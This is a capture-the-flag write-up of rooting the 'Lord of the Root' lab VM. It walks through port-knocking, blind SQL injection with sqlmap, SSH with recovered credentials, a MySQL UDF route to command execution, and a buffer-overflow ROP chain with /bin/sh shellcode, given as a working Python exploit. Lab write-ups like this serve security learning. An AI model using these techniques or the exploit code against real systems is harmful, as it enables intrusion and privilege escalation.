“Knock Friend to Enter” and “Easy as 1,2,3” so that has to be port-knocking. I tried to “knock” with nc, but that didn’t work. I hoped the sequence was indeed 1,2,3 so I just used nmap to do it:
123456789
$ nmap -n -T4 -sV -Pn -r 192.168.56.101 -p1,2,3
Starting Nmap 6.00 ( http://nmap.org ) at 2015-10-04 10:15 CEST
Nmap scan report for 192.168.56.101
Host is up.
PORT STATE SERVICE VERSION
1/tcp filtered tcpmux
2/tcp filtered compressnet
3/tcp filtered compressnet
And after this, port 1337 was open:
1
1337/tcp open http Apache httpd 2.4.7 ((Ubuntu))
It’s a webserver that serves a single page. I tried to view robots.txt but was given another picture (two hipster hobbits or something). However, the page source contained <!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>. Let’s decode that base64:
OK so I browsed to that location. It’s a login page that is vulnerable to SQLi. I had a hard time finding and exploiting it, because I made a silly mistake. I dumped the database I needed, finally, with this command:
In first instance, however, I only used --data "username=bleh&password=d, which prevented SQLmap from finding the SQLi. Note to future self: always include all form parameters!
Anyway, dumping all the data from the db took too long because it was blind SQLi so I just dumped Webapp once I found the database names. Long live SQLmap! This database contained usernames based on Lord of the Rings. I tried logging in to the webpage but couldn’t find anything interesting. I tried the five usernames against ssh and struck gold with smeagol:MyPreciousR00t.
From here, there were two ways to root the box: one via a suid binary, one via mysql. I’ll start with the SQL route.
smeagol@LordOfTheRoot:~$ cat /var/www/978345210/login.php
<?php
session_start(); // Starting Session
$error=''; // Variable To Store Error Message
if(isset($_POST['submit'])){if(empty($_POST['username'])|| empty($_POST['password'])){$error="Username or Password is invalid";}else{ // Define $username and $password$username=$_POST['username'];$password=$_POST['password'];$db= new mysqli('localhost', 'root', 'darkshadow', 'Webapp'); // To protect MySQL injection for Security purpose
$username= stripslashes($username);$password= stripslashes($password);$sql="select username, password from Users where username='".$username."' AND password='".$password."';"; //echo $sql;$query=$db->query($sql);$rows=$query->num_rows;if($rows== 1){$_SESSION['login_user']=$username; // Initializing Session
header("location: profile.php"); // Redirecting To Other Page
}else{$error="Username or Password is invalid";}}}?>
We can now login to mysql as root and upload lib_mysqludf_sys to enable command execution. I ripped parts from my Kvasir writeup. I cloned the lib_mysqludf_sys repo and ran the following commands:
payload was ran through tr -d '\n' to remove newlines and the output of that command was entered into the mysql prompt. This creates the udf_exploit.so file on the remote box. From there, I ran:
12
mysql> CREATE FUNCTION sys_exec RETURNS int SONAME 'udf_exploit.so';Query OK, 0 rows affected (0.00 sec)
I created ssh keys for this joyous occasion and upload the public key to the root directory:
I quickly found that I had to run the binary with the first argument containing 171 chars + EIP to overwrite the saved return address on the stack. Let’s see how we can spawn a shell…
Let’s just jump to the stack! However, there is no jmp esp opcode in the binary, so it looks like we have a problem. ASLR is enabled on the remote box and none of the registers point directly to the “shellcode” on the stack. We can hardcode the stack address but that will lead to lots of failed attempts. Let’s be smart about this.
Verify no jmp esp:
1234567891011121314151617181920
gdb-peda$ asmsearch "jmp esp"Searching for ASM code: 'jmp esp' in: binary ranges
0x08048365 : (83e4) and esp,0xfffffff0
0x08048460 : (83e4) and esp,0xfffffff0
0x08048c1b : (00e4) add ah,ah
0x08049365 : (83e4) and esp,0xfffffff0
0x08049460 : (83e4) and esp,0xfffffff0
gdb-peda$ asmsearch "call esp"Searching for ASM code: 'call esp' in: binary ranges
0x0804864f : (00d4) add ah,dl
0x08048a6f : (00d4) add ah,dl
0x08048a73 : (08d4) or ah,dl
0x08048e0f : (00d4) add ah,dl
0x0804964f : (00d4) add ah,dl
gdb-peda$ find "\xff\xd4" binary
Searching for'\xff\xd4' in: binary ranges
Not found
gdb-peda$ find "\xff\xe4" binary
Searching for'\xff\xe4' in: binary ranges
Not found
However, we do have strcpy and this memory region:
1234
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x08049000 r-xp /home/bas/downloads/LotR/door3
0x08049000 0x0804a000 rwxp /home/bas/downloads/LotR/door3
0x08049000 is rwx! We can now use strcpy to write ff e4 to memory and return to it, which bypasses ASLR because the binary is always loaded on the same address. Let’s ROP this! strcpy@plt is at 0x8048320 but we can’t use that address because it contains a space. We’ll just use strcpy+6, which jumps to the resolver to resolve strcpy.
With that out of the way, we need a pop2ret to balance the stack. This is easily located with gdb-peda’s ropgadget command and I chose 0x804850e. Last thing I needed was the address of the bytes 0xff and 0xe4 and again gdb-peda provided those. Putting the ROP chain together:
1234567891011121314151617181920
importstructdefp(x):returnstruct.pack('<L',x)defwrite(what,where):# strcpy(dest, src)# use strcpy+6 otherwise the address will contain a space, messes up argv# second address is pop2retreturnp(0x8048326)+p(0x804850e)+p(where)+p(what)z=""z+="A"*171z+=write(0x804852c,0x8049330)# ffz+=write(0x8048366,0x8049331)# e4 jmp espz+=p(0x8049330)# modified /bin/ash shellcode: http://shell-storm.org/shellcode/files/shellcode-547.phpz+="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68"z+="\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24"z+="\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd"z+="\x80\x31\xc0\xb0\x01\xcd\x80"